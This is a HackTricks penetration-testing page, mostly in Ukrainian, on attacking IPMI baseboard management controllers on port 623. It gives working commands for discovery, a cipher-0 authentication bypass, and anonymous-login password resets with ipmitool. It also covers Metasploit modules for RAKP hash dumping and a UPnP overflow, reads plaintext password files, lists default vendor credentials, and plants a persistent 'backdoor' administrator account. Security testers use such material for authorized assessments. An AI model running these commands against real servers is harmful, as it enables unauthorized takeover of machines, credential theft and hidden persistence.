14 KiB
623/UDP/TCP - IPMI
623/UDP/TCP - IPMI
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Основна інформація
Огляд IPMI
Інтерфейс управління платформою (IPMI) пропонує стандартизований підхід до віддаленого управління та моніторингу комп'ютерних систем, незалежно від операційної системи або стану живлення. Ця технологія дозволяє системним адміністраторам віддалено керувати системами, навіть коли вони вимкнені або не відповідають, і особливо корисна для:
- Конфігурацій перед завантаженням ОС
- Управління вимкненням
- Відновлення після збоїв системи
IPMI здатен моніторити температури, напруги, швидкості вентиляторів та блоки живлення, а також надавати інформацію про інвентаризацію, переглядати апаратні журнали та надсилати сповіщення через SNMP. Для його роботи необхідні джерело живлення та LAN-з'єднання.
З моменту свого впровадження компанією Intel у 1998 році, IPMI підтримується численними постачальниками, що покращує можливості віддаленого управління, особливо з підтримкою версії 2.0 для серійного з'єднання через LAN. Ключові компоненти включають:
- Контролер управління материнською платою (BMC): Основний мікроконтролер для операцій IPMI.
- Комунікаційні шини та інтерфейси: Для внутрішньої та зовнішньої комунікації, включаючи ICMB, IPMB та різні інтерфейси для локальних та мережевих з'єднань.
- Пам'ять IPMI: Для зберігання журналів та даних.
Порт за замовчуванням: 623/UDP/TCP (Зазвичай працює на UDP, але також може працювати на TCP)
Перерахування
Виявлення
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
Ви можете виявити версію за допомогою:
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
IPMI Вразливості
У сфері IPMI 2.0 значна вразливість була виявлена Даном Фармером, що відкриває вразливість через cipher type 0. Ця вразливість, детально задокументована в дослідженні Дана Фармера, дозволяє несанкціонований доступ з будь-яким паролем, якщо цільовим є дійсний користувач. Ця слабкість була виявлена в різних BMC від виробників, таких як HP, Dell та Supermicro, що свідчить про поширену проблему в усіх реалізаціях IPMI 2.0.
Обхід автентифікації IPMI через Cipher 0
Щоб виявити цю вразливість, можна використовувати наступний допоміжний сканер Metasploit:
use auxiliary/scanner/ipmi/ipmi_cipher_zero
Експлуатація цього недоліку можлива за допомогою ipmitool
, як показано нижче, що дозволяє переглядати та змінювати паролі користувачів:
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
IPMI 2.0 RAKP Аутентифікація Віддалене Отримання Хешів Паролів
Ця вразливість дозволяє отримувати посолені хешовані паролі (MD5 та SHA1) для будь-якого існуючого імені користувача. Щоб протестувати цю вразливість, Metasploit пропонує модуль:
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
IPMI Анонімна Аутентифікація
За замовчуванням у багатьох BMC дозволяється "анонімний" доступ, що характеризується порожніми рядками імені користувача та пароля. Цю конфігурацію можна використати для скидання паролів іменованих облікових записів користувачів за допомогою ipmitool
:
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
Supermicro IPMI Паролі у відкритому вигляді
Критичний вибір дизайну в IPMI 2.0 вимагає зберігання паролів у відкритому вигляді в BMC для цілей аутентифікації. Зберігання цих паролів компанією Supermicro в таких місцях, як /nv/PSBlock
або /nv/PSStore
, викликає значні проблеми з безпекою:
cat /nv/PSBlock
Уразливість Supermicro IPMI UPnP
Включення Supermicro прослуховувача UPnP SSDP у своєму прошивці IPMI, зокрема на UDP порту 1900, створює серйозний ризик безпеки. Уразливості в Intel SDK для UPnP Devices версії 1.3.1, як детально описано в розкритті Rapid7, дозволяють отримати доступ до BMC з правами root:
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
Brute Force
HP випадковим чином генерує стандартний пароль для свого Integrated Lights Out (iLO) продукту під час виробництва. Ця практика контрастує з іншими виробниками, які зазвичай використовують статичні стандартні облікові дані. Підсумок стандартних імен користувачів та паролів для різних продуктів наведено нижче:
- HP Integrated Lights Out (iLO) використовує фабрично випадкову 8-символьну строку як свій стандартний пароль, демонструючи вищий рівень безпеки.
- Продукти, такі як iDRAC від Dell, IMM від IBM та Інтегрований контролер віддаленого управління Fujitsu, використовують легко вгадувані паролі, такі як "calvin", "PASSW0RD" (з нулем) та "admin" відповідно.
- Аналогічно, Supermicro IPMI (2.0), Oracle/Sun ILOM та ASUS iKVM BMC також використовують прості стандартні облікові дані, з "ADMIN", "changeme" та "admin" як їх паролі.
Accessing the Host via BMC
Адміністративний доступ до Контролера управління материнською платою (BMC) відкриває різні шляхи для доступу до операційної системи хоста. Простий підхід полягає в експлуатації функціональності KVM BMC. Це можна зробити, перезавантаживши хост до кореневого оболонки через GRUB (використовуючи init=/bin/sh
) або завантажившись з віртуального CD-ROM, налаштованого як диск відновлення. Такі методи дозволяють безпосередньо маніпулювати диском хоста, включаючи вставку бекдорів, витяг даних або будь-які необхідні дії для оцінки безпеки. Однак це вимагає перезавантаження хоста, що є значним недоліком. Без перезавантаження доступ до працюючого хоста є більш складним і варіюється в залежності від конфігурації хоста. Якщо фізична або серійна консолі хоста залишаються увійденими, їх можна легко захопити через функціональність KVM або serial-over-LAN (sol) BMC за допомогою ipmitool
. Дослідження експлуатації спільних апаратних ресурсів, таких як шина i2c та Super I/O чип, є областю, що потребує подальшого вивчення.
Introducing Backdoors into BMC from the Host
Після компрометації хоста, оснащеного BMC, локальний інтерфейс BMC можна використовувати для вставки бекдор-облікового запису, створюючи тривалу присутність на сервері. Ця атака вимагає наявності ipmitool
на скомпрометованому хості та активації підтримки драйвера BMC. Наступні команди ілюструють, як новий обліковий запис користувача може бути вставлений у BMC, використовуючи локальний інтерфейс хоста, що обходить необхідність аутентифікації. Ця техніка застосовна до широкого спектру операційних систем, включаючи Linux, Windows, BSD та навіть DOS.
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
Shodan
port:623
References
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.